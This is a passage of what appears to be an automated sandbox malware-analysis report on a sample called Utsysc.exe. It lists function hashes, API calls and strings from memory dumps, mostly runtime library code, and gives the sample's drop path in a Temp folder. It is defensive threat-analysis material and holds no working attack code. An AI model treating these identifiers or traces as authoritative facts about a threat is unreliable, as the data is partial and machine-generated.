Opcode Fuzzy Hash: d2c581018c698599584711ab45f24c1078ff6b42d56dc436d3d44221cec0f7ca
Instruction Fuzzy Hash: 29112C71541B0CBADA21BBB1CC06FEB77EC5F41700F802919B3A976153DBB5A5488690

Uniqueness

Uniqueness Score: -1.00%

Function 00ECAA60 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00ECAB31
std::_Rethrow_future_exception.LIBCPMT ref: 00ECAB82
std::_Rethrow_future_exception.LIBCPMT ref: 00ECAB92
__Mtx_unlock.LIBCPMT ref: 00ECAC35
__Mtx_unlock.LIBCPMT ref: 00ECAD3B
__Mtx_unlock.LIBCPMT ref: 00ECAD76

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 9bd23c6fe7e942b4c9b57cf3cfc755640b512c58413168cdb92c3eda78788f0c
Instruction ID: 4f5b76eeb1d9453b5fedf4f47b6165466f8025171c65104e08e3a90f53c9e8c1
Opcode Fuzzy Hash: 9bd23c6fe7e942b4c9b57cf3cfc755640b512c58413168cdb92c3eda78788f0c
Instruction Fuzzy Hash: BDC1C1719003089FDB24DF64CA45FAEBBF5AF0130CF08557EE816A7692D732A946CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00EF3590 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00EB8000,00000000), ref: 00EF35D8
__fassign.LIBCMT ref: 00EF37B7
__fassign.LIBCMT ref: 00EF37D4
WriteFile.KERNEL32(?,00EB8000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EF381C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00EF385C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EF3908

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 6d7e7031537aca28d1a3b4075fe5c58327f53105476cfa62487918619fc46bb5
Instruction ID: 15aa297e0b278f09972b18c5b4bb178708cf1df62fd70330aa180539157cfbe3
Opcode Fuzzy Hash: 6d7e7031537aca28d1a3b4075fe5c58327f53105476cfa62487918619fc46bb5
Instruction Fuzzy Hash: EFD19BB5D0425C9FCB15CFA8C8809EDBBB5FF48314F28516AE955FB342E630AA46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00ED28CF Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00ED292C
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00ED2938
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00ED2951
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ED297F
Concurrency::Context::Block.LIBCONCRT ref: 00ED29A1

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: ac41862ccae6f720d88199c6090b4fd83133b21384dcb46fa881f7dcea77187c
Instruction ID: 91318719b3e1d1daf3bea4b107140d05f6fd27dfa118fce4ca768400eb63c521
Opcode Fuzzy Hash: ac41862ccae6f720d88199c6090b4fd83133b21384dcb46fa881f7dcea77187c
Instruction Fuzzy Hash: 17215E708002099ADF25DFA4C855AEEB7F0FF64325F60266FE251B6390E7B14A46CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EDDA97 Relevance: 9.1, APIs: 6, Instructions: 73threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00EDDADA

Part of subcall function 00EDEFD1: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00EDF020

GetCurrentThread.KERNEL32 ref: 00EDDAE4
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00EDDAF0

Part of subcall function 00ED3DF8: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 00ED3E0A

Part of subcall function 00ED4284: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 00ED428B

Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 00EDDB33

Part of subcall function 00EDEF83: SetEvent.KERNEL32(?,?,00EDDB38,00EDE8CC,00000000,?,00000000,00EDE8CC,00000004,00EDEF78,?,00000000,?,?,00000000), ref: 00EDEFC7

Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00EDDB3C

Part of subcall function 00EDE5B2: List.LIBCONCRT ref: 00EDE5E8

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00EDDB4C

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$AffinityThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::BorrowedCountEventFixedListResourceResource::StateSubscriptionToggle
String ID:
API String ID: 318399070-0
Opcode ID: fe85ea1880ce2acf252e20de4f35047b8467aaafbda93f0fb873a2f9eb2dde4e
Instruction ID: 7b80b3b5b5a49cfb36dc86b885666748173645b72ca99292cfc915662a0a5535
Opcode Fuzzy Hash: fe85ea1880ce2acf252e20de4f35047b8467aaafbda93f0fb873a2f9eb2dde4e
Instruction Fuzzy Hash: FA219831500A14AFCB25EF64C9908AAF3F9FF48308701691EE452AB761CB70A906CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE89A7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00EE899E,00EE7560,00ECEFC5,4F1E7031,?,00000000,00EFF238,000000FF,?,00EB24EA,?,?), ref: 00EE89B5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00EE89C3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00EE89DC
SetLastError.KERNEL32(00000000,?,00EE899E,00EE7560,00ECEFC5,4F1E7031,?,00000000,00EFF238,000000FF,?,00EB24EA,?,?), ref: 00EE8A2E

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e89e1e771eaa0ed3ae086fb3a11c6ff0ad9b876adc4cb4555268200e544bc34f
Instruction ID: 04a034f879f7d004848a8fc36e8ab8eaa5f7866230914baeb3eb09d2c696757c
Opcode Fuzzy Hash: e89e1e771eaa0ed3ae086fb3a11c6ff0ad9b876adc4cb4555268200e544bc34f
Instruction Fuzzy Hash: C701243211839D1EE66566B77D86DA63AD5EB44378320633EF12CB01E2EF125C01A144

Uniqueness

Uniqueness Score: -1.00%

Function 00ED368B Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00ED3699
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00ED369F
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00ED36CC
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00ED36D6
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00ED36E8
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ED36FE

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID:
API String ID: 2808382621-0
Opcode ID: 917127f8fd69e778b067222d48433923b65cbc6ea512a5d7ee2f28e0a2258edd
Instruction ID: 80c5b8942d968da49b2812da841ee666e34df29a094c013a746a31122431b6cd
Opcode Fuzzy Hash: 917127f8fd69e778b067222d48433923b65cbc6ea512a5d7ee2f28e0a2258edd
Instruction Fuzzy Hash: F401D476600158B7C710FB75DC49EAF37ACFB90351B60541AF661F1350EB20EA069761

Uniqueness

Uniqueness Score: -1.00%

Function 00EE8ABE Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00EE8B85
___AdjustPointer.LIBCMT ref: 00EE8BA8
___AdjustPointer.LIBCMT ref: 00EE8C44

Strings

3, xrefs: 00EE8B1D

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: 3
API String ID: 1740715915-3930663615
Opcode ID: 1bc190430ef81884ebb981281a1612daebd33d171133bad0d951b8d663e75139
Instruction ID: fa6047af59c6b847d0ffb9bdba52dc3c2f43e87c12d2c01570a4ccd6ec47557d
Opcode Fuzzy Hash: 1bc190430ef81884ebb981281a1612daebd33d171133bad0d951b8d663e75139
Instruction Fuzzy Hash: 895149BA90428E9FDB288F52DA51BBAB3A4FF04314F24511DEC0977290EB31EC81C750

Uniqueness

Uniqueness Score: -1.00%

Function 00EF989E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00EF996E
_free.LIBCMT ref: 00EF9997
SetEndOfFile.KERNEL32(00000000,00EF52DA,00000000,qU,?,?,?,?,?,?,?,00EF52DA,qU,00000000), ref: 00EF99C9
GetLastError.KERNEL32(?,?,?,?,?,?,?,00EF52DA,qU,00000000,?,?,?,?,00000000), ref: 00EF99E5

Strings

qU, xrefs: 00EF98AD

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID: qU
API String ID: 1547350101-2322606889
Opcode ID: 5b0a0e6d7aa4271a4a7fc92e22312e3d739c020c100dfead5e78ce096dbd1754
Instruction ID: 1c2d9c106d5815fb306f01b5f794d1c0f3a7442cf399e9066e0da240bcc2283c
Opcode Fuzzy Hash: 5b0a0e6d7aa4271a4a7fc92e22312e3d739c020c100dfead5e78ce096dbd1754
Instruction Fuzzy Hash: 2D41D772A0064D5ADB116BB98C46BBD37F5BFC4360F163158F6A8F7192EA70DC448721

Uniqueness

Uniqueness Score: -1.00%

Function 00ED676C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00ED677F

Strings

3, xrefs: 00ED67E2

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID: 3
API String ID: 3433162309-3930663615
Opcode ID: b80168fd31d58299725d02826977a9404145d3f34d89901092caa40c09addf1c
Instruction ID: a313b073e588aab2d92e00855b3778440c3403c82308af56b16345df704fbef0
Opcode Fuzzy Hash: b80168fd31d58299725d02826977a9404145d3f34d89901092caa40c09addf1c
Instruction Fuzzy Hash: E9315979A00309DFCF18DF94C9C0AAE7BB9FF44304F1410AAD941AB346D730A946EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00ED2756 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00ED275D
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00ED2787

Part of subcall function 00ED2E4D: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00ED2E6A

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00ED2804
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ED2836

Strings

3, xrefs: 00ED2848

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter
String ID: 3
API String ID: 1207923566-3930663615
Opcode ID: 1cbfc380f477c949524852c4e2993eb62e33befcd2441d853f82bc56b74b060c
Instruction ID: 46f5301bc66d9e53db9babf0d580c6730ff601bdb102cf280d97ccad05c39d2c
Opcode Fuzzy Hash: 1cbfc380f477c949524852c4e2993eb62e33befcd2441d853f82bc56b74b060c
Instruction Fuzzy Hash: 50318B75A002068BCB19DFA8C9415AEB7F5EF69314B25606FEA05F7341DB309E03CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EF18B4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe, xrefs: 00EF18B9

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
API String ID: 0-3495104836
Opcode ID: 6d5eb34a192b302aa557e3f093611523bf49c0d13e250cc116a4d05c6edafe39
Instruction ID: 6c521d0ca463e5a9a7199c1bd4d12d0fc1af6572674872361cc338c60b30a019
Opcode Fuzzy Hash: 6d5eb34a192b302aa557e3f093611523bf49c0d13e250cc116a4d05c6edafe39
Instruction Fuzzy Hash: CB21CF7160024DEFDB20AF62CC909BB77ACAF403A8B105668FB69F7151E771EC0087A1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE4509 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80threadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?), ref: 00EE455A
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EE4542

Part of subcall function 00EDC9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00EDC9C1

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EE45BD
SwitchToThread.KERNEL32(00000005,00000004,00000000,?,?,?,?,?,?,?,00F13FD0), ref: 00EE45C2

Strings

3, xrefs: 00EE452D, 00EE45AA

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Context$Event$Base::Concurrency::details::$Trace$SwitchThreadThrow
String ID: 3
API String ID: 2734100425-3930663615
Opcode ID: b54147151ee9ac40dc9a2b1ffbfe5da5d63d06485009e4a93cff1ab6a0d3632d
Instruction ID: 4b661d177433c230d9d4d80392addacc2d8e39bc3f9f13026c4b90b3747a4868
Opcode Fuzzy Hash: b54147151ee9ac40dc9a2b1ffbfe5da5d63d06485009e4a93cff1ab6a0d3632d
Instruction Fuzzy Hash: C021F975600218AFCB04EB65DC459AEB7FCEF88760B11145AF606F33D1DB70AD029AA5

Uniqueness

Uniqueness Score: -1.00%

Function 00EEABD8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00EEAC1A

Strings

.com, xrefs: 00EEAC5A
.cmd, xrefs: 00EEAC38
.exe, xrefs: 00EEAC27
.bat, xrefs: 00EEAC49

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 77ade35c03f515f13818b8d13996e302b2ad8be74cc2001d07b970d027257fe0
Instruction ID: 2704d3cc3381f2d397ccc7cc60e0724fc57ee401854fbbe9fb7002a710333ea4
Opcode Fuzzy Hash: 77ade35c03f515f13818b8d13996e302b2ad8be74cc2001d07b970d027257fe0
Instruction Fuzzy Hash: 040149376446AF236614601FBD4267A93D8DBC1FB8739103EF884FB1C1EE44EC422196

Uniqueness

Uniqueness Score: -1.00%

Function 00EE9A27 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00EE9A77

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 61050f1899d25d31dc4690a1edd75a364f5cd73367cc44a6c8c1bde661a3e67e
Instruction ID: 4343bb5ba79c3847af5c7ee95b085c30fff621b91a0c72a18944075486a831ef
Opcode Fuzzy Hash: 61050f1899d25d31dc4690a1edd75a364f5cd73367cc44a6c8c1bde661a3e67e
Instruction Fuzzy Hash: 5F119B71E0126DABCB219B6BDC44A9B37E4AF057B4B151134ED1DFB292E770ED0096E0

Uniqueness

Uniqueness Score: -1.00%

Function 00EE5B05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00EE5B25
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00EE5B36
StructuredWorkStealingQueue.LIBCMT ref: 00EE5B6C
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00EE5B7D

Strings

e, xrefs: 00EE5B47

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
